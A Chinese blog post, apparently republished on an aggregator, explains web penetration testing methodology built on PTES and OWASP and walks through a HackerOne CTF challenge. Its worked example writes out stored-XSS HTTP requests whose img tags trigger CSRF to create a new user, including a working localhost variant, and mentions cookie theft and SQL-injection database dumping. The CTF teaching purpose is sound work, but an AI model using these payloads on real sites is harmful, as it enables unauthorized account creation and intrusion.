浅谈Web渗透测试

news2024/11/29 1:56:01

目录

背景介绍

漏洞挖掘

渗透测试

个人看法

Web 渗透测试方法构想

PTES 简介

Web “PTES”

前期交互

信息收集

漏洞建模

漏洞分析

渗透利用

测试报告

Web渗透测试实例

前期交互

信息收集

漏洞建模

漏洞分析

渗透利用

报告


本文包括 背景介绍,Web 渗透测试方法构想,Web渗透测试实例 三个章节,其中背景介绍解读了漏洞挖掘和渗透测试两个概念,Web 渗透测试方法构想描述了结合 OWASP 测试方法论 和 PTES 把渗透测试落地的理论部分,Web渗透测试实例则是用实际案例来演示第二章的构想。

背景介绍

本章主要介绍我对 渗透测试 和 漏洞挖掘 这两个概念的理解。

笔者因为工作原因, 能接触到一些国内外乙方安全公司的渗透测试报告。

在看过多份不同乙方公司提供的渗透测试报告后, 简单的说大概会有这么几类

1. 只提供一份测试报告,  报告主体内容是 漏洞列表,  漏洞详情
2. 提供简单的 checklist,  一般是以附录的形式写在测试报告中
3. 提供来测试计划,  以及测试报告

对于不是很懂渗透测试的甲方来说, 渗透测试的目标是发现漏洞, 上述三类报告似乎并无太大差别。

实际上并不是这样的, 一个有组织的渗透测试, 报告的内容可以非常丰富。

漏洞挖掘

漏洞挖掘 是以漏洞为导向, 每年大量的 CVE 就是漏洞挖掘的结果, 比如打 CTF 也是漏洞挖掘及利用的过程。毫无疑问 漏洞挖掘能力 能表现安全人员的技能水平。

举个例子来说, 假设某天 xxx SRC 发布一个公告, 中低危漏洞不再收录, 只收高危及以上。你作为一个白帽子, 像用户名暴破这样的漏洞看都不看就跳过, 但是如果你是在做渗透测试, 就不能这么轻易的忽略这些漏洞。

那种只提供漏洞列表和详情的测试报告,可以猜测就是采用漏洞挖掘模式,这种模式对于乙方来说会稍微轻松一点,毕竟只要报告中有漏洞就可以交差了。

渗透测试

根据PTES,渗透测试包含了两个阶段,一个是 漏洞分析,一个是 漏洞利用

我们平时都是把Vulnerability翻译为漏洞,实际上,我认为这个词翻译为脆弱点会更合适些。

渗透测试更侧重过程及方法, 测试结果只是过程的产物。总体而言, 渗透测试的目标是通过结构化的方法, 定位系统存在的所有脆弱点(Vulnerability),并尝试去利用这些脆弱点,最终评估这些脆弱点对系统可能造成的风险.

如果是 漏洞评估 找到脆弱点就结束了。但如果是 渗透测试 还需要对这些脆弱点进行进一步利用, 甚至是留后门, 清除痕迹等。也就是 PTES 里说的 Exploitation 和 Post Exploitation 这两个过程。

所以任何的脆弱点在测试范围之内都不能被漏掉的, 小到敏感信息明文传输, 用户名暴破, 路径信息泄漏, 大到 SQL 注入, 认证绕过, 越权等等。

测试报告如果只报告 XSS可以弹窗 这样的漏洞, 只能算是漏洞评估的结果, 如果没有利用XSS进行实际利用, 都不能称作渗透测试。什么是利用, 比如利用xss攻击窃取Cookie, 再利用Cookie登录系统。

个人看法

我个人认为 渗透测试和漏洞挖掘的关系 互相不是充分条件。就是说一个人很懂渗透测试工程方法, 不一定很会挖漏洞。一个很会挖漏洞的人也不一定能做好渗透测试。

但总体而言, 漏洞挖掘的门槛比渗透测试方法会更高。一个优秀的 CTFer, 应该可以很快掌握渗透测试的精髓, 反之一个人精通渗透测试方法论, 不一定能快速掌握漏洞挖掘技巧。

引用 PTES 里对渗透测试的概括

Remember, a penetration test should not be confrontational. It should not be an activity to see if the tester can "hack" you. It should be about identifying the business risk associated with and attack.

顺便讲个有趣的事情, 笔者有个朋友之前一直在 wooyun 挖漏洞, 后来还想成立一个 乙方渗透团队 去接渗透测试的活。后来说是 和甲方就酬劳问题达不成共识而作罢。

其实我在想 乙方团队可以以两种模式和甲方谈判。

模式一 漏洞挖掘模式 以漏洞计价, 严重, 高危, 中危, 低危 分别多少钱

模式二 渗透测试模式 制定渗透测试计划, 输出 checklist, 漏洞报告, 威胁建模报告等

在我看来 模式一 对乙方团队来说, 多劳多得, 压力也会小些。模式二 更花时间精力, 资费应该更贵。

结果也很明显, 业界更倾向于模式一, 要么自己建立 SRC, 收漏洞, 根据漏洞危害等级付相应酬劳。要么和大的白帽平台合作, 在这些平台上发起众测。

模式二真正的问题是甲方怎么样才能信任乙方团队, 一方面乙方团队有没有这个能力来接渗透测试的任务。另一方面 如何保证乙方团队不泄露甲方数据。

我个人觉得模式二对乙方更有价值, 很多小型公司没有足够资金预算投入人力做安全。可以雇佣 安全团队 做风险评估/渗透测试等。 PTaaS(PenTest as a Service)理论上还是蛮好的。类似于CA证书模式, 一个中立的非营利PT(Penetration)机构, 对乙方团队进行认证。甲方信任PT机构, 所以信任拥有该机构颁发的PT证书的乙方团队。

Web 渗透测试方法构想

本章 以 PTES见参考文献[1]和 OWASP 测试指南见参考文献[2] 为基础, 构建我的 Web 渗透测试落地方法

PTES 简介

可能有些读者不了解 PTES, 这里我做非常简单的介绍

PTES 全称是 penetration testing execution standard, 也就是渗透测试执行标准。该标准定义来渗透测试的流程及内容, 分为七个部分

1. Pre-engagement Interactions 前期交互
2. Intelligence Gathering 信息收集
3. Threat Modeling 威胁建模
4. Vulnerability Analysis 漏洞分析
5. Exploitation 渗透利用
6. Post Exploitation 后渗透
7. Reporting 报告

这七个部分覆盖了渗透测试从开始到结束的完整流程。可以说这是渗透测试从业者不得不看的一套渗透测试方法。有兴趣的读者请查阅参考文献[1]

Web “PTES”

我适当调整了 PTES, 让这个标准结合 OWASP 测试指南, 落地在渗透测试过程

1. Pre-engagement Interactions 前期交互
2. Intelligence Gathering 信息收集
3. Vulnerability Modeling 漏洞建模
4. Vulnerability Analysis 漏洞分析
5. Exploitation 渗透利用
6. Reporting 报告

威胁建模可以利用 STRIDE 模型, 攻击树, 攻击库建模, 这些对于一个“敏捷”的渗透测试来说 过于抽象了些。所以我把它改为漏洞建模。

前期交互

前期交互的核心是 范围和目标。范围是指测试覆盖的范围, 涉及到的资产服务器, 域名/ip, 数据库 等等。

目标的话, PTES 也给来很清晰的介绍

Every penetration test should be goal-oriented. This is to say that the purpose of the test is to identify specific vulnerabilities that lead to a compromise of the business or mission objectives of the customer. It is not about finding un-patched systems. It is about identifying risk that will adversely impact the organization.

比如甲方的诉求是要确保 数据库 不会被拖库, 或者要求 xxx 域名的 web 服务不会受拒绝服务攻击影响, 等等。就像老师常说的, 带着问题去看书。这里是带着目标去测试。

输出件根据 测试范围, 测试目标, 测试时间/进程安排等 整理出测试计划文档

信息收集

信息收集覆盖渗透测试的所有环节, 收集的信息越丰富, 渗透测试相对而言就会越顺利。相关内容网络上非常多, 在此不再赘述。

漏洞建模

把每一个唯一的 HTTP 路径认为是一个接口

比如

GET /main/asdf
POST /subproc/fdsa

{xxx=xyz}
PUT /upload/tmpfile

file=fake content

漏洞建模也是以 Web 路径 为一个维度, 以 Web 漏洞类型为另一个维度, 建立一个二维矩阵

 

那么有个疑问是, 我没开始测之前, 我怎么知道要不要打“*”, 比如“Buffer overflow”我怎么知道哪些接口要打“/”, 哪些接口不要。

我的建议是, 如果你不确定要不要打 “*”, 就默认打 “*”, 等你对系统更加了解之后, 也许凭借你的经验, 可以快速定位哪里需要打 “*”

最终把二级建模的所有打“*”的项目整理出来, 输出漏洞 Checklist

输出件:漏洞 Checklist

漏洞分析

利用各种奇技淫巧的思路, 去分析上一步 输出的漏洞 Checklist 是否真实存在漏洞。

这个过程区别于漏洞建模的是 需要确定测试用例, 比如“POST /subproc/dosth”可能存在 SQL inj 漏洞, 测试人员要 手工/自动化工具 去检测是否真实存在漏洞, 整理出测试用例

比如

POST /subproc/dosth

{xxx=xyz}

渗透利用

输出漏洞列表, 漏洞分析环节就结束了, 一般在甲方也就点到为止, 不再继续做利用。这也是可以理解的, 甲方只需要有 SQL 注入就够了。

而如果要继续进行利用, 可能会是 SQL 注入获取系统 shell 执行, 或者利用 SQL 注入写文件, 获取 Webshell, 或者爬取数据库, 能发现敏感的特权账户, 进而利用特权账户登陆系统等等。

那岂不是漏洞分析就完全够了吗, 为什么还要利用呢

这要看具体的场景, 如果甲方在产品中有部署防火墙, WAF 等, 甲方想知道在这种环境下, 即使有 SQL 注入漏洞, 能造成什么危害。是不是 WAF 能识别所有攻击行为。虽然有漏洞也是安全的。还是说可能有多个漏洞串联造成大危害。这些都是漏洞分析不会去做的。所以这也是为什么 渗透测试的价格会比漏洞分析更贵的本质原因。

测试报告

输出 只包含漏洞列表的渗透测试报告 是非常不负责任的。

一方面这可能根本谈不上渗透测试, 最多只能说是漏洞分析报告

另一方面甲方很难根据只有漏洞列表的报告得到产品安全或者不安全的结论

完整的渗透测试应该输出以下交付件

输出件: 测试计划文档一份, 漏洞 Checklist 一份, 与 checklist 及测试范围匹配的 测试用例一份, 包含漏洞详情的测试报告一份


Web渗透测试实例

上面谈了这么多理论上的思路。本章我想利用一个案例来展示上述流程中的 漏洞建模, 漏洞分析以及漏洞利用

以 HackerOne 的 CTF 第 8/9 题为目标, 对目标进行渗透测试。见参考文献[3]

HackerOne 是一个国外非常流行的众测平台, 而如果想在这个众测平台挖漏洞赚钱, 得先去 CTF 演练场答题挣积分, 积累 26 积分才能有一个邀请码。

本次以 8/9 题Ticketastic: Demo Instance/Ticketastic: Live Instance为测试目标, 演示如果利用上述的 Web PTES 进行渗透测试。

前期交互

测试范围:http://35.190.155.168/b9b2ddf96c/

测试目标:用户数据库

信息收集

接口: /newTicket, /login, /admin, /ticket, /newUser

漏洞建模

根据经验, 在认证, 会话管理, 授权, 输入检测几个方向最可能出问题, 所以本次仅针对这些方向进行测试

漏洞分析

对 漏洞 Checklist 进行逐个漏洞分析排查, 排查过程中, 整理测试用例

经过上述的测试用例执行之后, 输出漏洞列表

渗透利用

执行 漏洞分析 过程之后, 掌握多个漏洞之后, 就要利用这些漏洞, 可能是单个漏洞的利用, 也可能是组合利用

为来达成 测试目标“用户数据库”, 构建以下攻击思路

以管理员凭证登陆系统, 并利用 SQL 注入漏洞拖库, SQL 注入点已找到, 关键在于怎么获取管理员凭证

思路 1: 破解 session

思路 2: 通过 xss 窃取 cookie

思路 3: 通过 CSRF 添加账户

思路 4: 暴力破解密码

经过 session 的 base64 解码, session 的前一部分是{"user":"admin"}, 但后一部分乱码, 无思路。

暴力破解也是下下策, 毕竟如果用 top10000 的字典跑不出来, 不是这个解题方向。

通过 xss 窃取 cookie 和 CSRF 添加账户均可行。可因为 hackerOne CTF 环境限制, xss 窃取 cookie 无法成功。最后可以试试 CSRF

通过漏洞 1newTicket 存储型 XSS注入<img src='newUser?username=pter&password=admin123&password2=admin123'> 这样当 admin 访问 ticket 页面时, 会触发 CSRF, 添加一个新用户 pter, 密码为 admin123

我尝试了

# payload 1
POST /b9b2ddf96c/newTicket HTTP/1.1
Host: 35.190.155.168
...

title=xx<img src="/newUser?username=pter1%26password=admin123%26password2=admin123">&body=xx<img src="/newUser?username=pter1%26password=admin123%26password2=admin123">
# paylod 2
POST /b9b2ddf96c/newTicket HTTP/1.1
Host: 35.190.155.168
...

title=xx<img src="http://35.190.155.168/b9b2ddf96c/newUser?username=pter1%26password=admin123%26password2=admin123">&body=xx<img src="http://35.190.155.168/b9b2ddf96c/newUser?username=pter1%26password=admin123%26password2=admin123">

都没有成功, 所以本题我也没解出来, 导致两个 FLAG 都拿不到。

网上查了些 Writeup, 发现以下 payload 可行

POST /b9b2ddf96c/newTicket HTTP/1.1
Host: 35.190.155.168
...

title=xx<img src="http://localhost/newUser?username=pter1%26password=admin123%26password2=admin123">&body=xx<img src="http://localhost/newUser?username=pter1%26password=admin123%26password2=admin123">

其实这个 localhost 也是有线索的, 就是在 demo 环境, 利用 payload1, admin 登陆后, 源代码里会显示。CTF 经验还是不够。

报告

走到这一步是不是叹了一口气, 完整做下来, 工作量还是非常多的。从漏洞建模, 到漏洞分析, 漏洞利用, 这些过程都要投入大量时间, 对甲方来说, 这些过程输出的中间件都是非常宝贵的资料。

交付件分别有

  1. 测试计划文档
  2. 漏洞建模表,  及漏洞 Checklist
  3. 测试用例,  漏洞列表
  4. 测试报告 也可以把 上述表格/用例整合到测试报告中。但是测试计划建议单独一份文档

上面这些过程中, 每个过程都和操作者强相关。不同的人, 在漏洞建模环节会输出不同的漏洞 checklist, 会写出不同的用例, 会得到不同的漏洞列表。所以这套渗透测试落地方法只是描述了渗透测试可以怎么做,但是没有描述怎么才能把它做好。


想做好渗透测试,漏洞挖掘能力是必不可少的,这也是面试的关键点。要练习漏洞挖掘能力,可以通过以下途径:参加众测,挖SRC,挖CVE,CNVD/CNNVD,靶机练习等等。

以上就是我个人对 Web 渗透测试执行的一些想法。到这里差不多就结束了。其实我用这个环境也只是想演示渗透测试流程, 不是 CTF 教程。所以 GAME OVER.

因笔者水平有限, 文章难免会有错误, 欢迎读者批评指正。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/590123.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

上传作品并投票的小程序微信中的微信投票微信小程序

现在来说&#xff0c;公司、企业、学校更多的想借助短视频推广自己。 通过微信投票小程序&#xff0c;网友们就可以通过手机拍视频上传视频参加活动&#xff0c;而短视频微信投票评选活动既可以给用户发挥的空间激发参与的热情&#xff0c;又可以让商家和企业实现推广的目的&am…

IDEA 创建 Springmvc 项目

一、概述 在18年的时候就开始接触 SpringBoot &#xff0c;然后就一直在使用它。众所周知 SpringBoot 内嵌 Tomcat&#xff0c;后续再也没有单独新建过Web 项目。作为IDEA 的用户&#xff0c;总想要用它来建一个Web 项目自己跑一跑&#xff0c;但建项目不是我最终目的~~ &…

为什么那么多人劝退软件测试?月薪1万以上的就别点进来了

2023年已经过了快一半了&#xff0c;今天跟大家聊一聊软件测试薪资这个话题 和大家说一句掏心窝的话&#xff1a;直到现在&#xff0c;软件测试依旧是寒门改变命运的一个最佳选择之一&#xff0c;要不是怕被喷&#xff0c;我都想把之一去掉&#xff0c;因为想了半天&#xff0…

【Bert、T5、GPT】fine tune transformers 文本分类/情感分析

【Bert、T5、GPT】fine tune transformers 文本分类/情感分析 0、前言text classificationemotions 数据集data visualization analysisdataset to dataframelabel analysistext length analysis text > tokenstokenize the whole dataset fine-tune transformersdistilbert…

Python-GEE遥感云大数据分析、管理与可视化技术及多领域案例应用

随着航空、航天、近地空间等多个遥感平台的不断发展&#xff0c;近年来遥感技术突飞猛进。由此&#xff0c;遥感数据的空间、时间、光谱分辨率不断提高&#xff0c;数据量也大幅增长&#xff0c;使其越来越具有大数据特征。对于相关研究而言&#xff0c;遥感大数据的出现为其提…

uni-app生命周期有哪些?怎么理解?

uni-app生命周期有哪些&#xff1f;怎么理解&#xff1f; uni-app生命周期有哪些&#xff1f;怎么理解&#xff1f; 文章目录 uni-app生命周期有哪些&#xff1f;怎么理解&#xff1f;前言一、什么是生命周期函数&#xff1f;二、uni-app生命周期分类总结 前言 UNI-APP学习系…

Spring概述、Spring的优势和体系结构

Spring是什么 Spring是分层的 Java SE/EE应用 full-stack 轻量级开源框架&#xff0c;以 IoC&#xff08;Inverse Of Control&#xff1a;反转控制&#xff09;和 AOP&#xff08;Aspect Oriented Programming&#xff1a;面向切面编程&#xff09;为内核。提供了展现层 Sprin…

【重磅】“饶派杯”XCTF车联网安全挑战赛明日开赛!

2023年5月31日&#xff0c;由江西省委网信办、江西省工信厅、上饶市人民政府主办的“饶派杯”XCTF车联网安全挑战赛即将重磅开赛。来自国内外知名高校、自动驾驶汽车企业和科研院所的21支CTF精英战队齐聚上饶&#xff0c;聚焦车联网安全行业的典型漏洞及风险&#xff0c;面向车…

借助chatgpt做一个pdf转word的小工具

因 中午我在一篇公众号文章中发现了一个名为 pdf2docx 的 Python 包&#xff0c;可以将 PDF 文件转换成 Word 文件。但是&#xff0c;这个包不支持将图片型 PDF 转换成 Word&#xff0c;而且需要自己编写代码来实现转换功能。 于是我想&#xff0c;将这个包制作成一个小工具&a…

企业仓库管理系统的设计与实现(ASP.NET,SQL)

开发环境&#xff1a;Microsoft Visual Studio 数据库&#xff1a;Microsoft SQL Server 程序语言&#xff1a;asp.NET(C#)语言 本系统的开发使各大公司所的项目管理更加方便快捷&#xff0c;同时也促使项目的管理变的更加系统化、有序化。系统界面较友好&#xff0c;易于操作。…

食物储藏信息管理系统的设计与实现(ASP.NET,SQLServer)

需求分析 食物储藏信息管理系统是一个典型的数据库开发应用程序&#xff0c;由基础信息维护、用户信息维护、食物提醒管理、用户管理、食物管理、系统管理、食物储藏等功能模块组成。 具体功能实现如下&#xff1a; 食物管理&#xff1a;食物管理部门自行添加食物&#xff0c;可…

华为OD机试真题B卷 Java 实现【24点游戏算法】,附详细解题思路

一、题目描述 给出4个1-10的数字&#xff0c;通过加减乘除运算&#xff0c;得到数字为24就算胜利,除法指实数除法运算,运算符仅允许出现在两个数字之间,本题对数字选取顺序无要求&#xff0c;但每个数字仅允许使用一次&#xff0c;且需考虑括号运算 此题允许数字重复&#xff…

Ubuntu22.04部署K8S1.27.2版本集群

一、设置主机名并在 hosts 文件中添加条目 1、登录节点使用 hostnamectl 命令设置 hostname #在master中&#xff1a; 172.18.10.11 $ sudo hostnamectl set-hostname "k8s-master" #在work1节点中&#xff1a; 172.18.10.12 $ sudo hostnamectl set-host…

“百亿生态”背后,拼多多的初心

哈佛商学院教授、“颠覆性创新”理论的提出者克莱顿克里斯坦森&#xff0c;在《繁荣悖论》中将创新分为三类&#xff1a;第一类是效率创新&#xff0c;即生产更便宜、更优质的产品&#xff1b;第二类是持续性创新&#xff0c;即不断对产品进行改进&#xff1b;第三类是市场创造…

cuda编程学习——卷积计算CUDA、Pytorch比较 干货向(六)

前言 参考资料&#xff1a; 高升博客 《CUDA C编程权威指南》 以及 CUDA官方文档 CUDA编程&#xff1a;基础与实践 樊哲勇 参考B站&#xff1a;蒙特卡洛加的树 文章所有代码可在我的GitHub获得&#xff0c;后续会慢慢更新 文章、讲解视频同步更新公众《AI知识物语》&#…

勿踩,电商实时聊天常见错误

实时聊天现在在电商企业与SaaS行业已经是必备的服务&#xff0c;他的实施很简单&#xff1a;您找到适合您的工具&#xff0c;将其打开并将其放在所有客户都可以看到的地方。但是无休止的互动冲击&#xff0c;措辞不佳或沟通不畅的问题&#xff0c;客户的24/7期望&#xff0c;在…

【Apache网页与安全优化】

一.介绍 在企业中&#xff0c;部署Apache后只采用默认的配置参数&#xff0c;会引发网站很多问题&#xff0c;换言之默认配置是针对以前较低的服务器配置的&#xff0c;以前的配置已经不适用当今互联网时代。为了适应企业需求&#xff0c;就需要考虑如何提升Apache的性能与稳定…

Feign入门使用 OpenFeign 日志增强 超时控制

一、概述 Feign是一个声明式的web服务的客户端&#xff0c;Feign就是参考Ribbon添加了注解接口的绑定器。 我们封装一些客户端类来包装对其他服务的依赖调用。Feign让我们只需要创建一个接口注解就能够实现操作。Feign集成了Ribbon 关于使用就是在接口添加特定注解就可以了。…

html:叫你如何编写第一个网页

<!DOCTYPE html> <!--声明--> <html lang"en"> <head><meta charset"UTF-8"><title>我的第一个网页</title>体部分&#xff1a;存放的是组成html代码部分 </head><BODY><!--html:HyperText Mark…

【Linux网络服务】Apache配置与应用

Apache配置与应用 一、构建虚拟Web主机1.1httpd服务支持的虚拟主机类型包括以下三种 二、基于域名的虚拟主机三、基于IP地址的虚拟主机四、基于端口的虚拟机五、Apache连接保持六、构建Web虚拟目录与用户授权限制七、日志分割 一、构建虚拟Web主机 虚拟Web主机指的是在同一台服…